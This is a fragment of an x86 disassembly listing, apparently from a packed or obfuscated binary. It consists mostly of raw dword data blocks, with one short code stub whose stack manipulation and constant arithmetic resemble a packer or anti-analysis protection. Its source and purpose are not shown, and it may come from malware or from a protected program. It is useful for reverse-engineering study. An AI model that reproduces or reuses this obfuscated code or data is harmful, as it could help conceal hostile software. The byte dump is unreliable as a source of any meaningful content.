		dd 7CE14BEFh, 7AC33EC2h, 2B83D96Ah, 0E4C8EF93h,	9D7343CAh
		dd 96568E7Dh, 0B6D3123Ch, 78CB1872h, 0E52F3989h, 9C52616h
		dd 0B851E727h, 0ED1FAF7Ch, 60297FCCh, 5A76F63Fh, 971EB474h
		dd 0CB03E454h, 5F68BE0Bh, 7690F63Fh, 20C87EBEh,	0E34124E4h
		dd 0A47BC887h, 6B946BCDh, 5935E945h, 0D107B4E5h, 1EF6400Fh
		dd 0C101BD2Eh, 0FCCC456Bh, 4312D30Bh, 34E71FF3h, 400F5187h
		dd 3BB29EF6h, 0F92AE20Bh, 2497A249h, 0F6400FF0h, 0B63F113Dh
		dd 7B932374h, 11FACA43h, 0D27015D5h, 2F0AE3B6h,	400F489Ch
		dd 0F74495F6h, 0F6400FA1h, 0C2ECC2EEh, 904CA111h, 57D3DA19h
		dd 5D39E869h, 14Dh, 0EB4E268Ch,	75DB2554h, 4F8B70FCh, 5C45F625h
		dd 0E1E52F22h, 52BB0DCDh, 2EB5B9Ah, 42823AD6h, 0BF15C6E8h
		dd 8ADE827h, 0CF0D8401h, 94549079h, 0FA10A0F1h,	21A802C2h
		dd 0D9326703h, 8F7ECE1Dh, 49856557h, 69AA2389h,	0E8DDE460h
		dd 2E18B239h, 5D44B85Dh, 0EE27EA02h, 0E1FC60C6h, 3FA9FE52h
		dd 416F43F6h, 5047C8h, 8BCB0000h, 0A4F5264Ch, 9335C117h
		dd 0AB220EEFh, 35B3C97Ah, 94B86F93h, 35ABE154h,	6D4D6F93h
		dd 384E8901h, 70DA1AD2h, 89278D5Eh, 29E5099Eh, 0D16B43E9h
		dd 8554DD76h, 93300236h, 967BCBEFh, 6349E5Eh, 44EE2EE6h
		dd 35F4D8CDh, 947Fh, 4F8B7500h,	6845F625h, 0F5E52F28h
		dd 0A571CFDFh, 0D23B5C97h, 5E70DA1Ah, 41F2A370h, 0F63F4A0Bh
		dd 37F57C50h, 0FC38D060h, 68A44575h, 952F8A9h, 57419396h
		dd 4D9DF340h, 0CEE2F63Fh, 0B05969E0h, 0C601B474h, 0B0F63F4Ch
		dd 16BC006Ch, 16D6D9D4h, 0B0586A39h, 1CCDFD74h,	804421E0h
		dd 0B78A39EAh, 44EBD3AAh, 0ED1EA868h, 7456F131h, 3E549018h
		dd 0EB6B5EEDh, 9E34F287h, 2E64670Eh, 0EBD6E70h,	3A833DAh
		dd 97820B27h, 7A2B7ABBh, 0A83393C9h, 7DF4D803h,	234F8BF1h
		dd 2E65315Fh, 8F5C7269h, 50BD5225h, 2390652Dh, 0EF923EEDh
		dd 0B9301E32h, 7EE6DB68h, 5B6BE526h, 13B979B5h,	0A24BFD3Dh
		dd 0F21BAB6Ah, 0FCADFA3Ah, 467F194Fh, 0C34A66F6h, 0AD51CDF0h
		dd 771333EBh, 0CC0DC922h, 93538B7Ch, 0C909C525h, 9515BF6Eh
		dd 0D6C1E382h, 3A5674FDh, 9D4E8667h, 0EF18C02Dh, 735DF737h
		dd 0D86839FAh, 903AFA32h, 4C02919h, 0C88C4h, 0BF820000h
		dd 15679315h, 0B9307C74h, 0B35EA5D7h, 0DC0DBB7Bh, 0BA56E020h
		dd 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah
		dd 0CB209656h, 68DDD313h, 69E5h, 89240C89h, 4C181E1h, 83000000h
		dd 0C8704E9h, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 8956243Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 242C895Ch
		dd 40CEBB53h, 5F5306B4h, 2C8B545Bh, 4C48324h, 8904EC83h
		dd 458F243Ch, 2434FF08h, 4C4835Dh, 5F2434FFh, 4C481h, 0A1E90000h
		dd 88FFF837h, 0C403CB2Dh, 0B4460FB8h, 0FFC50306h, 2D910DE0h
		dd 0DF3E7E4Ch, 0D3BE4D54h, 6C3E3E2Ah, 0C7261550h, 0DC500876h
		dd 0C593C265h, 79704F72h, 48B0761Fh, 2461BA18h,	548D8D7Bh
		dd 0F806B447h, 2F0D8D89h, 0BD8906ACh, 6AC319Dh,	1E0585C7h
		dd 61EC06ACh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4F1C50C3h, 4A947720h, 37F681E2h
		dd 0C742833Eh, 0AC27F185h, 6, 9E900h, 58F30000h, 38FBFF61h
		dd 0B36E458Ah, 0A1B5FFC1h, 0F06AC0Eh, 95FFC3B7h, 6AC0BF9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E6C35141h
		dd 55858968h, 8106AC14h, 764A57D8h, 0FF006A51h,	0AC214595h
		dd 0EBC08B06h, 79A6617Eh, 0FE2EBE37h, 0AEB917BEh, 5A6B99F6h
		dd 72869CF8h, 20BB1EACh, 6C841723h, 0B71BD5E1h,	0D77DCF91h
		dd 0FE9F4124h, 0E847E9BDh, 14E402BAh, 0EE3729F7h, 0D2C16E83h
		dd 86DAF888h, 89DBD190h, 2A8AA758h, 27E2C454h, 0C38C6107h
		dd 0A32B775Dh, 36F75BA6h, 5F57FC4Ah, 0D1525DFh,	99F9614Ah
		dd 0B73FD324h, 9EECE105h, 9110B09h, 6BF19494h, 7D04F832h
		dd 2672300Eh, 8C105486h, 0E871C8C0h, 11h, 91A8CCFFh, 0CCFB333Ah
		dd 2E7E7C64h, 0E1D5C7BEh, 8B0F50DCh, 6,	0B99589h, 5B5E06ACh
		dd 13B19D01h, 0C38106ACh, 7064h, 0D20FF681h, 0E6B804F7h
		dd 8B00001Bh, 8CF2813Bh, 816B642Ah, 80AC1BF7h, 0CD958B22h
		dd 8106AC33h, 14F852F7h, 0E6816604h, 0C781E1F6h, 593133DCh
		dd 5890Fh, 81660000h, 5792D2EAh, 0F038FF9h, 68Bh, 0E18D8900h
		dd 8106AC01h, 5C8619EBh, 0AE866h, 0E8220000h, 0B4EA040Fh
		dd 143BF9A3h, 815AF78Ah, 5C8615C3h, 0C99D8966h,	8306AC31h
		dd 850F01E8h, 1Bh, 0ED92BE66h, 23E9h, 1477A000h, 516CD478h
		dd 941F4E0Dh, 3C9F8F52h, 66D6B180h, 0E81DD681h,	0FFFF6EE9h
		dd 482400FFh, 92CA2E72h, 97E900EBh, 0ED000003h,	0BB0BCA02h
		dd 0EF5F9E56h, 0B404C501h, 0E9599854h, 760BCA02h
		dd 0ED29C08Fh, 0B26A9C2Ch, 0F72FC373h, 0A9658636h, 0C3702168h
		dd 0E8DEED8Dh, 5E79F5D2h, 16A675B1h, 56FC3CF8h,	3EAC1CDFh
		dd 0BC164786h, 0D2ABA41Dh, 5B6BE2DFh, 0DF3586B3h, 2CEF92C4h
		dd 0C51A4EFDh, 4B67EF92h, 0C9984B65h, 92C5267Ah, 75476BEFh
		dd 16D55C98h, 4E8F47A6h, 16D70FFEh, 498844A6h, 18D915F9h
		dd 46873FA8h, 934BA717h, 4370F953h, 0E52716B9h,	28C1B776h
		dd 729A2CECh, 0ECDCEABCh, 406E091Eh, 11CD2393h,	4E7C5A98h
		dd 0F4289B9Eh, 39F6459Ch, 1F75C615h, 6CF6459Dh,	0CAAF6E40h
		dd 0B14A620Eh, 0F4CC00B3h, 3D11F645h, 0F978A915h, 0E55504D7h
		dd 7744CD09h, 0EBE238E2h, 0BB739FAFh, 3FFFD17Bh, 0F260528Ah
		dd 680420FCh, 1B9A088Ch, 0FA0032h, 5E8C0000h, 1BB777AFh
		dd 0A747B117h, 17AD476Fh, 2EE60B39h, 9D07B4E5h,	22EF928Eh
		dd 1977DD0Eh, 0CFDCA3EAh, 0C501EEDCh, 0CF388E4Ch, 8566D617h
		dd 2EEA8949h, 31249744h, 0FEE52EF6h, 2AEA22CEh,	0D86EAE80h
		dd 1358FC32h, 0BC54305Eh, 6E45292h, 524C8033h, 0BD91F63Eh
		dd 0A77B5393h, 8BA98ACBh, 9551BADFh, 9FF53154h,	13B71D4Ch
		dd 6FA74BF4h, 0D52D05AFh, 6F5CD5FBh, 0EBDAD15Ah, 3D8B4B67h
		dd 2BE30ACEh, 0BC6F41EBh, 0CD3FDB0Ch, 557BD111h, 40AF1FDCh
		dd 0E0274484h, 66EA598Ah, 2BFCEAD1h, 8564D407h,	0BC7CB855h
		dd 52F83816h, 0B97D18DBh, 0C4EA22CFh, 0D43DA417h, 0E8C2F286h
		dd 5995EF13h, 0F61B291Bh, 66D0103Eh, 3E8E4F87h,	359EACFh
		dd 4803968Bh, 0D004B764h, 1D03968Ah, 88DF1F31h,	72662822h
		dd 0C5F77DE3h, 8461E824h, 49FA2943h, 39727C7h, 0C979B894h
		dd 272BEA22h, 0F6254F8Bh, 0DCC69A5Ch, 5B691729h, 27F67FB7h
		dd 2E89A594h, 0AAFB2AE5h, 3E93C319h, 152408F6h,	0F63E93BFh
		dd 0CE0E200Ch, 96578F78h, 5D9977C7h, 1BBE379Dh,	5339FEB6h
		dd 93CE06B3h, 0D536F63Eh, 7F68D819h, 0D8318747h, 1BB9DC1Ch
		dd 299ACB6Fh, 0F63E93F3h, 0AD9D1438h, 4841803Ch, 39EFEDCCh
		dd 35C4h, 4F8B4800h, 14A7F625h,	0EF9335C0h, 1D0AC228h
		dd 0FB51E231h, 40EF9335h, 8734E56Ch, 0E52F5692h, 739319Bh
		dd 6F0D6B7Fh, 1FDFF3E6h, 458440A9h, 0A0Fh, 0AE5E0500h
		dd 0E700B676h, 5EE2EE2Fh, 0FEB776AEh, 35CC1CAFh, 3D11EF93h
		dd 6AA24BFDh, 2AE209B9h, 0E4C661A3h, 0FCCBCF88h, 6BAF5B89h
		dd 1242F1A0h, 5FEF92F7h, 0BD13A073h, 2EF92F6h, 0AE5FEF2Eh
		dd 56E6B776h, 0D6F47DB9h, 56B606BAh, 7DF45E9Eh,	21B7h
		dd 0AD5EBD00h, 6A44806Dh, 1FACFDAAh, 0EF9335C9h, 83B33A16h
		dd 9D73B26Ah, 4D5018B2h, 8DEF1116h, 0B35E8804h,	0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 68DDD313h, 25F8h
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	779Ch
		mov	[esp], ecx
		mov	ebx, 35C321Eh
		not	ebx
		sub	ebx, 580D0F31h
		push	ecx
		mov	ecx, 55E8003Ch
		xor	ebx, ecx
		pop	ecx
		add	ebx, 15358A27h
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], ebx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 46h,	0D0h, 78h
		dd 0B6376160h, 0AB890CD9h, 0CBB84753h, 306B44Bh, 3EE0FFC5h
		dd 5D2F9556h, 458FB6Eh,	407DCA34h, 0CE002385h, 6B2FD637h
		dd 113C2C88h, 0E9048B8Bh, 8A267C25h, 0BABFF8FCh, 564DC016h
		dd 1830Fh, 59FC0000h, 10E9h, 0F224200h,	0B73336BEh, 0A0E0C819h
		dd 0DA91C8E0h, 13E975h,	555C0000h, 0E01506E7h, 0F6E66F37h
		dd 91B856A1h, 0F91F092Ah, 28A0FFFh, 0B4000000h,	38B0F71h
		dd 0F000000h, 58B1DBB7h, 0FE8B6652h, 0B850F5Fh,	0E9000000h
		dd 6, 0FB36F675h, 0BF0F0AE1h, 80C68BC3h, 815155C1h, 0DB841CE9h
		dd 0FE95931h, 42000000h, 469CB89Bh, 6120C96Bh, 0E471F77h
		dd 810FC0FAh, 7, 0C7816652h, 0F59186Bh,	1683h, 108B0F00h
		dd 0E9000000h, 0Bh, 3F333E43h, 4E72A857h, 0F019016h, 386h
		dd 0CB8B6600h, 0CF8AD58Ah, 5E8h, 0F486C600h, 0CC802E16h
		dd 16BE5B13h, 0F2C82C1h, 81h, 0CE800h, 0BA940000h, 12EE6416h
		dd 4B5C0429h, 90BB92C3h, 5A46D6E0h, 0BE9h, 0A90FC300h
		dd 0C1E2A608h, 0B763997Eh, 7E8h, 3AFF200h, 0DE2BAC8h, 665BFB8Bh
		dd 0F78BC88Bh, 850Fh, 810F0000h, 5, 87E78166h, 66B1B3A4h
		dd 6BFAE781h, 9E9F9h, 40DF0000h, 0E85F0A53h, 0E9866D22h
		dd 6, 9ACCF1EFh, 0BF0F714Bh, 68E0FD8h, 81000000h, 0BFD996EEh
		dd 6E80Ch, 0F11F0000h, 8422499Ch, 594CB457h, 0F6BF0F5Fh
		dd 0B3FB8B66h, 178B0FC9h, 60000000h, 10E9h, 0EF056D00h
		dd 3C5BB5F5h, 566E7EBCh, 0D18FC45Fh, 0C18B61D8h, 0E28166F5h
		dd 9E81689h, 28000000h,	0B651AA7h, 4082700Dh, 59C78B66h
		dd 2AF7E281h, 0E9FC5863h, 13h, 8F8CEDC9h, 317988A9h, 799B899Ch
		dd 0E4A66252h, 0F068728h, 286h,	0B9E88A00h, 551CA685h
		dd 1162B9h, 0DC57B97Eh,	10E8547Bh, 0F2000000h, 0A596BF0Eh
		dd 0DECA02D8h, 908B1336h, 5E4234ACh, 0E8C3B70Fh, 7, 25F68296h
		dd 0E9697FB6h, 10h, 4326A925h, 0A0D40C8Eh, 98DE54D4h, 0A85DFA7Dh
		dd 14E95Bh, 0E8030000h,	65837B66h, 0DC909B1Ah, 0EAB2E741h
		dd 0E9D4E3D2h, 0BF0F50C8h, 13E9D9h, 47650000h, 8395C814h
		dd 42FA809Fh, 8B07218Bh, 6AD79334h, 0BBC081F6h,	0BA0EBEE4h
		dd 1DC20002h, 5E956h, 6D940000h, 5B686EB8h, 0AE9h, 0DC697200h
		dd 6102F9E8h, 66B4B241h, 0FA61FB9h, 582h, 0D8816600h, 860F87E1h
		dd 0Bh,	58E0Fh,	0A9BF0000h, 660946F7h, 8AA5A6B9h, 98CF80DDh
		dd 1820Fh, 0FFC0000h, 389h, 0C88B6600h,	14E9h, 744FB000h
		dd 8CA8019Eh, 4C069C78h, 133A71F7h, 555E790Fh, 60E480D1h
		dd 0BFCBB70Fh, 3B4DAA04h, 0D36A42BAh, 28F0F72h,	8B000000h
		dd 4880FCAh, 66000000h,	0E8C399BFh, 13h, 693DB07Dh, 9617D535h
		dd 6FCD7E8Dh, 0FB01A3BCh, 0E9F42AAAh, 5, 68F091BEh, 0B96659FAh
		dd 800F6B20h, 6, 3B4BF281h, 7E842AAh, 0C3000000h, 0CC6F5DABh
		dd 0BB664538h, 0F58EE96h, 0C86h, 6870F00h, 0F000000h, 87h
		dd 0E9FA8B00h, 12h, 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h
		dd 424068A6h, 860FE709h, 6, 421AE681h, 7E9492Eh, 0AF000000h
		dd 0D7A9D423h, 0BE957B0h, 2F000000h, 0DBCAC1B6h, 167B6B88h
		dd 12E9F8BBh, 0A1000000h, 0F4D30B83h, 0CE8AB30Dh, 68400E4Dh
		dd 0F30216Ah, 0DE95Ch, 0E0E00000h, 58D2708h, 0DCADA1CFh
		dd 6030454Ch, 0F299B866h, 68A0F61h, 81000000h, 0C40995D1h
		dd 0B0F68071h, 9E9h, 8CA6BA00h,	7195463Eh, 0B866C8C8h
		dd 0E851CDC0h, 0Dh, 722BE86Eh, 6ABA805Fh, 7CFBB5Bh, 58D4B299h
		dd 0E9D18B59h, 9, 68875A88h, 0BF0EF22Bh, 13E996h, 5DB30000h
		dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah, 6E922h
		dd 0C2900000h, 0E9081207h, 6FD68166h, 38A0F13h,	57000000h
		dd 0FFC59F8h, 82h, 10E900h, 0FE090000h,	3A90A9E7h, 9D0F572Ch
		dd 8AC43CC3h, 8B602C29h, 605661D3h, 0EE8h, 79F2CC00h, 92CE099Bh
		dd 0EB915B38h, 5AA405A0h, 0F78B5B61h, 0AE9h, 0D7A5EF00h
		dd 7FB8441Ch, 0B97CB8FBh, 1A48F7B8h, 27D88166h,	6BBF6657h
		dd 14E905h, 87910000h, 5BCFDF69h, 9540912Eh, 0D5553A4Bh
		dd 41F1CA37h, 12E80C22h, 9000000h, 52C444A8h, 83E7481Fh
		dd 0FEC8D7B1h, 71AF990h, 0B96660FAh, 8B668952h,	665961F0h
		dd 4912F681h, 0B1DEDE81h, 8B6630CDh, 0C78B66D9h, 15CE8166h
		dd 0EE816h, 48C30000h, 4FB320ABh, 0BC7E9A31h, 704FECA0h
		dd 8BBDC181h, 0E85913A9h, 6, 0D58BF30h,	0B86699CFh, 0E95B4380h
		dd 0Fh,	24F49CA6h, 0B7E2348Ch, 0C661414Eh, 0B5221C35h
		dd 12E8AFh, 97E90000h, 0DF7FBC4Bh, 672E1905h, 4FC60B68h
		dd 51BDF6AAh, 5EFED680h, 12E960h, 0E9C50000h, 3A754D3Fh
		dd 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 816661FCh, 0F8B61C2h
		dd 38Dh, 0FEDA8000h, 13870Fh, 0EE90000h, 4F000000h, 4E307AF7h
		dd 0E4EF8E24h, 6A4F86E3h, 8B66531Eh, 0E8605BC2h, 6, 0C8AD15C5h
		dd 8C0F49B4h, 0
		dd 28F0F58h, 0B7000000h, 80F5612Eh, 0BB661FEAh,	0F08186D0h
		dd 67DEF89Eh, 66CFBF0Fh, 0E902B0BAh, 0Bh, 52051E6Eh, 27F7D296h
		dd 0F64CF02h, 0F181C8B7h, 5DD5E03Bh, 92A61BBEh,	11E865h
		dd 71A80000h, 0BCDE5065h, 0C1E53180h, 2AD3211Fh, 66074A83h
		dd 1627D681h, 0C8B70F5Fh, 0EBE18166h, 0F38166FDh, 0AB4B9C3h
		dd 5F4DB457h, 1BF5F57h,	0BE5B235Bh, 4192ADB8h, 8E8h, 9DB5BF00h
		dd 7A0C94E1h, 0FE847h, 7A830000h, 804D6034h, 76F86458h
		dd 744B92Dh, 0F98B6674h, 0F0BA585Fh, 8105F212h,	49F6C3F1h
		dd 8166F538h, 6014D1EBh, 61FA8B66h, 0F40CB80h, 68Ah, 0E6D88100h
		dd 0E95741F1h, 0Eh, 8A02186Fh, 28507F27h, 0CE2B3463h, 0DE86D1Ch
		dd 18000000h, 0BCAADD85h, 73C1712Ch, 9DDAA9A1h,	0A8C2CB81h
		dd 8B5F0EF0h, 14E9DEh, 59D50000h, 80666FB7h, 8B56B2BBh
		dd 8EEE2875h, 0E1EC9D1h, 8B663853h, 0FE8C1h, 947D0000h
		dd 67125478h, 0DB67E79Ch, 0C32F6977h, 14E816h, 2A850000h
		dd 7A10B225h, 6A789A83h, 0B2F5DA11h, 3104AC40h,	0C9BE7FA1h
		dd 5852A86Ah, 0B1C4B058h, 0D38166D4h, 7E8FF9Ah,	3B000000h
		dd 0A4C8BD97h, 8B668443h, 8E0F5EF3h, 15h, 10E9h, 25A98200h
		dd 8BE8CE7Fh, 0BF12FC17h, 4FBCBB4Ah, 0D3BF0FC0h, 66F3BF0Fh
		dd 8B6231B8h, 0BEFC60C1h, 1C1E04Bh, 0F9BF0F61h,	38D0Fh
		dd 0F2800000h, 52E38A78h, 8E860h, 6AAF0000h, 0F035C2FEh
		dd 615A208Ch, 2890F5Eh,	57000000h, 7E85Eh, 19750000h, 0E5D98BEh
		dd 0B70F50D0h, 665B5BDFh, 0FC53D98Bh, 0FCF8B5Bh, 28Dh
		dd 0F56B300h, 387h, 0CB8B6600h,	0FC38B66h, 284h, 81CE8B00h
		dd 1F82FDC1h, 80F38B48h, 0D081D5D2h, 362AF55Ah,	3890Fh
		dd 0BF0F0000h, 0D18B66D6h, 9E9h, 0D8FE4000h, 0BFC940B5h
		dd 8166D3BBh, 60D118E6h, 10B82EB1h, 61795611h, 7E8h, 2034BA00h
		dd 917644A2h, 89EF8166h, 0BF0F599Bh, 0F2CB81C0h, 0F330F55h
		dd 0EA8AD1B7h, 81CCDD80h, 25E0F3C1h, 12E951h, 0DE140000h
		dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch, 7E9h
		dd 79B36A00h, 0D17227Ah, 1810Fh, 66F80000h, 8B66D08Bh
		dd 0D08B66CFh, 0E9C1BF0Fh, 14h,	0E0E2FF92h, 77191C3Ah
		dd 67AF1647h, 0D0BFF893h, 0A76ABEDBh, 5F20C081h, 13E938AFh
		dd 0EE000000h, 1ECB3244h, 7F678B18h, 75043090h,	1FE1D66Bh
		dd 8D0F5F01h, 2, 8A0FDE8Bh, 9, 38F0Fh, 8B660000h, 12E8F7h
		dd 79F80000h, 622E9A41h, 0C636CBAAh, 0EAC0DE8Ch, 6BE4B718h
		dd 0D7816658h, 0DE9640Dh, 11000000h, 3B5CD4E8h,	0AE9E4B69h
		dd 8E6A9FCDh, 0BE2EBF66h, 0E9F7B70Fh, 13h, 43212FD7h, 51D260B3h
		dd 0ABAE947Bh, 4159175Eh, 0F4F09FAh, 12E9F1B7h,	0FF000000h
		dd 0B94945B7h, 0BB99E6D8h, 0E90CB925h, 75A810F0h, 0F98B6637h
		dd 0F1D88166h, 0FFB8B2Eh, 5E8FFBFh, 0AC000000h,	0E6D980D4h
		dd 0B7605FF8h, 98BB61BCh, 0E965A440h, 0Dh, 69BF8737h, 0A31105A7h
		dd 0BDA7D144h, 7D2DBAD8h, 5E8033Ch, 0E8000000h,	0EE4C6FDDh
		dd 51616060h, 0F5E6159h, 680h, 28C18100h, 80432462h, 8E9A7D6h
		dd 7F000000h, 6A34B7Ch,	571D7CD9h, 8B0F60h, 66000000h
		dd 5861DF8Bh, 0AFB4D181h, 81661544h, 0BA8FB5D9h, 7126D751h
		dd 781FBE66h, 38E0Fh, 0BF0F0000h, 0EE956C8h, 2A000000h
		dd 0BA562351h, 109C62E0h, 8DA20BA4h, 8B6658D2h,	6D87BFDAh
		dd 8D0F4B1Ch, 6, 0A832F281h, 0B70F58E5h, 0B357F5FBh, 8B6659DFh
		dd 0CFBF0FC7h, 0F60E3B6h, 38Ah,	6BF68000h, 0EAB561F9h
		dd 0DD49EB81h, 0B70F6FB4h, 0E9D68BDFh, 13h, 7C7AFB31h
		dd 0D9B1ADB4h, 0D9D0EDC5h, 9962B7D6h, 0F5244BBFh, 0CE8h
		dd 702A0E00h, 2CF7A1B9h, 0D549C922h, 0F7B70F33h, 8E95Eh
		dd 71390000h, 0B0739AA4h, 37B99393h, 0F3E2100h,	0C480FABFh
		dd 0EE992h, 0D0560000h,	574E35A8h, 0B0C4B231h, 65C01F5Ah
		dd 0DBCFBF66h, 0FB8BFE8Ah, 0F081FB8Bh, 3C0F2E4h, 14E960h
		dd 5E600000h, 9BCC203Eh, 8595C52h, 1ED1BD76h, 0A6A51C86h
		dd 81562625h, 0B2A12DE3h, 0E9615A49h, 11h, 3B86C719h, 1D4FBDBh
		dd 46DC1F06h, 0A98E76ABh, 0F28166D9h, 0E960C7E5h, 0Dh
		dd 0DD006133h, 4D3A13B7h, 0CE7C5442h, 80FC61EFh, 800FA5F7h
		dd 6, 0CFCD981h, 0DB810541h, 2B81D54Eh,	0B8FC8FB3h, 0B317BF4h
		dd 0CE9h, 4C3ED200h, 87AE380Fh,	7C95337Ch, 0D38B66B9h
		dd 0EE9h, 0E86F3900h, 3ADC5312h, 215D1D50h, 66503D21h
		dd 8E9F18Bh, 0A000000h,	0BC1FA6DFh, 52BF00F3h, 0E95AFEB7h
		dd 0Eh,	2265DB6Dh, 7AC843C8h, 0A594280Bh, 810FFB2Eh, 6
		dd 28BA6651h, 0FDB15E32h, 0F502C181h, 0E9F91AB2h, 13h
		dd 8B919F6h, 459E10D6h,	3AF78F3Ah, 0B3940E59h, 8A60C7E3h
		dd 0C68166F3h, 75B9B725h, 0E8134ED6h, 0Fh, 57B59998h, 0E56F4C1Eh
		dd 0A6108E7Fh, 0B2D3797Ah, 0CB8A59AFh, 0D1EB966h, 81FCCDB0h
		dd 66522FD6h, 1800F7Fh,	0FC000000h, 0FE9h, 0EE524D00h
		dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh, 32A1D181h, 0D680618Eh
		dd 9890F29h, 0F000000h,	38Bh, 0F1B70F00h, 67639BBFh, 66D1B554h
		dd 8F0FF88Bh, 1, 0FD08BF9h, 5160CFBFh, 0E95AF8B1h, 0Ah
		dd 3E338FB6h, 0B7D5D523h, 0F619F9Bh, 0B70FDABFh, 0E95957F9h
		dd 6, 7BA155EEh, 0F8606944h, 6061F08Ah,	59F48A52h, 0A8DE8166h
		dd 0CB816183h, 7610932Ah, 66C8B70Fh, 6653C78Bh,	0E95FC38Bh
		dd 0Ah,	0B8C33935h, 9FEC10F4h, 0BA6675F3h, 0DDBE1BADh
		dd 663F7460h, 26B6D18Bh, 5860Fh, 81660000h, 0BE5593E9h
		dd 5115D384h, 0EE9h, 2A770600h,	1A1012BFh, 41811D8h, 0B4E7E91Dh
		dd 0C4BA661Ah, 0AE8F4h,	11F80000h, 0CE0B5038h, 0EE1CA13Ch
		dd 59F6BF0Fh, 0DAB0DF81h, 11E80BAAh, 0C3000000h, 0CFA88A3Dh
		dd 5849C28Ah, 0FEE96267h, 0A1F895C7h, 88F0BA66h, 0FC28B5Bh
		dd 820FF1B7h, 3, 52D0BF0Fh, 0C18B6660h,	61CB8B66h, 48F0F58h
		dd 66000000h, 0BF8385BBh, 3377505Eh, 0B96660F5h, 14E9F7FAh
		dd 10000000h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h, 4D7100A5h
		dd 61E8E707h, 0FFA8B66h, 830FCEB7h, 1, 840FF8h,	0E8000000h
		dd 12h,	0B1DE5F10h, 0EF8ADAA4h,	802A7E60h, 0D508CE5Fh
		dd 0DE932ECh, 94000000h, 2E570565h, 2EEF7815h, 129F05DDh
		dd 0D8F0F5Eh, 0E9000000h, 8, 0A0C9EB48h, 1FEFCFB3h, 60D0BF0Fh
		dd 13E9h, 83F2DE00h, 1CABB452h,	0FC8E73D8h, 2307493Bh
		dd 0AAA640ECh, 8D7BBA66h, 820F5061h, 6,	880Fh, 80590000h
		dd 7E8E1DCh, 5E000000h,	0E1286E78h, 850FD739h, 6, 860Fh
		dd 0F55B0000h, 8069E980h, 0B70F04C3h, 0C1B70FD1h, 5341CF81h
		dd 0F575DDFh, 28Ch, 5FBBB500h, 0E7A9BB57h, 0E8596720h
		dd 0Bh,	1CEF3682h, 7FF0DEBCh, 0E800B3E3h, 0Ch, 1E529DACh
		dd 0A1BAD141h, 0FCC62632h, 5A5EDBB6h, 6657DE8Bh, 0E85BD08Bh
		dd 0Bh,	0FBEFAB85h, 34551348h, 8B171B75h, 8B6658D9h, 0FA8B66F3h
		dd 0E9FBB70Fh, 0Bh, 359522C0h
		dd 4D8916A9h, 0FC75C08Fh, 0AE960h, 0B0310000h, 0C8F97E21h
		dd 753C6240h, 8E861h, 17670000h, 0B63133F8h, 6E818E3h
		dd 17000000h, 79849222h, 0C88B6675h, 0B966595Ah, 0BE66DFE6h
		dd 11E90BC6h, 0EA000000h, 5644828Ch, 85DFFF65h,	7D6E94Ah
		dd 965AC126h, 60F5E88Ah, 0EE8h,	19FD3F00h, 0C72B3BB6h
		dd 606A9178h, 0F8B66C63h, 0DBB70F5Eh, 0BB86661h, 0C2BF0F50h
		dd 1A8E0Fh, 13E80000h, 51000000h, 0DAFAA8AFh, 9EA75C00h
		dd 8BEE0FD2h, 0ED9A46EDh, 5BF97D1Fh, 9860Fh, 80600000h
		dd 0B96697D0h, 80614FF0h, 14E8F6EBh, 6000000h, 13CA892Dh
		dd 9A9349DFh, 0A5C46D28h, 21AAC09Eh, 0E93458F0h, 0Ah, 0A915393Fh
		dd 53158BB6h, 0E858E089h, 7, 476893D7h,	0FD84C61h, 384h
		dd 0F98B6600h, 0B5DE8B5Bh, 28F0FDAh, 8B000000h,	0BE9CEh
		dd 0D3760000h, 3D9FD631h, 0A9A24F4Eh, 2860F05h,	8B000000h
		dd 2ED081FEh, 6602B66Fh, 0B70FCB8Bh, 60FDB2C2h,	5DCE8166h
		dd 118A0F18h, 0E9000000h, 0Ch, 217B2C1Eh, 0AE73F8D7h, 0B218FFC8h
		dd 0CEB70F61h, 2820Fh, 0CA8B0000h, 6800F57h, 81000000h
		dd 2C3970E2h, 0B0605B4Fh, 35CD802Ch, 0E880F61h,	51000000h
		dd 7E9h, 812ECB00h, 0A08E4FEAh,	0E8C88B58h, 0Fh, 0E05F92BFh
		dd 9C7C2291h, 0E0E91CEAh, 8AEAD2BBh, 0F0815FE7h, 45244B8Bh
		dd 6060F78Bh, 0CE9h, 133A7100h,	555E790Fh, 9A30E6D1h, 61A8B3B7h
		dd 61D2BF0Fh, 8AC6BF0Fh, 0CE960D8h, 31000000h, 5AB0C4B2h
		dd 0B965C01Fh, 6678A2CCh, 2C00C181h, 4810F61h, 66000000h
		dd 0FD3A6BEh, 0D180DAB7h, 0AB4AB817h, 38B86B07h, 0E82BD171h
		dd 8, 12F757E4h, 98CC4F18h, 0ACEF8160h,	6672E04Dh, 5861C68Bh
		dd 7E8h, 99066300h, 98EB699Bh, 0BE8h, 0CC7C7200h, 0C59408B7h
		dd 0A726D5FAh, 595AF98Ah, 628EBF66h, 0A45B966h,	880F5760h
		dd 0
		dd 7D3DBA58h, 0F9612A8Ah, 0EE9h, 8A7D6800h, 0FC5AA7E8h
		dd 54F633C7h, 60A21600h, 0B70F40B2h, 0BF0F61D8h, 2830FFAh
		dd 8B000000h, 9BDC80DAh, 18B0Fh, 8BFC0000h, 0DE8D8h, 2920000h
